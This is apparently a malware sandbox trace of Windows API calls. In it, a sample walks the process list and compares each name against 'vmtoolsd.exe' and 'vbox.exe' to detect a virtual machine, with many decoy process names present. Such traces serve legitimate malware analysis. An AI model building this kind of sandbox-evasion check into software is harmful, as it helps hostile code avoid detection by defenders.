lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="thankclearly.exe")) returned 1 [0133.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="thankclearly.exe", cchCount1=16, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.719] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1040, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="learnget.exe")) returned 1 [0133.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="learnget.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.720] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x107c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x8ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0133.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iexplore.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.721] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0133.722] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WmiPrvSE.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 3 [0133.722] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0133.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="msfeedssync.exe", cchCount1=15, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.723] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x388, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0133.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="audiodg.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.724] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="Adobe Download Manager.exe")) returned 1 [0133.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Adobe Download Manager.exe", cchCount1=26, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.725] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="Adobe Download Manager.exe")) returned 0 [0133.729] CloseHandle (hObject=0x208) returned 1 [0133.729] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.729] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.729] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0133.730] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0133.740] Process32FirstW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.741] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="System", cchCount1=6, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.744] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="smss.exe", cchCount1=8, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.745] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.746] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csrss.exe", cchCount1=9, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.746] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wininit.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 3 [0133.747] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.748] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csrss.exe", cchCount1=9, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.748] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.749] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="winlogon.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 3 [0133.749] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.750] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="services.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.750] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1b8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lsass.exe", cchCount1=9, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.751] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.752] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.753] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.753] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1f8, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.776] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dwm.exe", cchCount1=7, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.776] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.777] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.777] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.778] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.778] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.779] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.779] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.780] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.781] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.781] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.782] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="spoolsv.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.784] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0133.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sihost.exe", cchCount1=10, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.785] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0133.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RuntimeBroker.exe", cchCount1=17, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.786] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.787] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="explorer.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.788] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0133.792] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ShellExperienceHost.exe", cchCount1=23, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.792] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0133.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SearchUI.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.793] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0133.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="taskhostw.exe", cchCount1=13, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.794] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0133.795] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dllhost.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.795] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.796] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.796] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0133.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WMIADAP.exe", cchCount1=11, lpString2="vbox.exe", cchCount2=8) returned 3 [0133.797] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0133.798] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="backgroundTaskHost.exe", cchCount1=22, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.798] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0133.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="backgroundTaskHost.exe", cchCount1=22, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.799] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0133.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WmiPrvSE.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 3 [0133.799] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0133.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iexplore.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.800] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="magazine.exe")) returned 1 [0133.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="magazine.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.801] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="run-service-who.exe")) returned 1 [0133.802] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="run-service-who.exe", cchCount1=19, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.802] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="better.exe")) returned 1 [0133.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="better.exe", cchCount1=10, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.803] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="big.exe")) returned 1 [0133.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="big.exe", cchCount1=7, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.806] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="production tend.exe")) returned 1 [0133.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="production tend.exe", cchCount1=19, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.806] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="painting.exe")) returned 1 [0133.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="painting.exe", cchCount1=12, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.807] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="armalreadyoutside.exe")) returned 1 [0133.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="armalreadyoutside.exe", cchCount1=21, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.808] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="particular-crime.exe")) returned 1 [0133.809] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="particular-crime.exe", cchCount1=20, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.809] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="sea-travel-style.exe")) returned 1 [0133.810] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sea-travel-style.exe", cchCount1=20, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.810] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="behind-town.exe")) returned 1 [0133.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="behind-town.exe", cchCount1=15, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.811] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="player_pay_half.exe")) returned 1 [0133.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="player_pay_half.exe", cchCount1=19, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.838] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="privateperformborn.exe")) returned 1 [0133.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="privateperformborn.exe", cchCount1=22, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.840] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="for receive.exe")) returned 1 [0133.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="for receive.exe", cchCount1=15, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.841] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="meet_seat_sometimes.exe")) returned 1 [0133.842] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="meet_seat_sometimes.exe", cchCount1=23, lpString2="vbox.exe", cchCount2=8) returned 1 [0133.842] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, 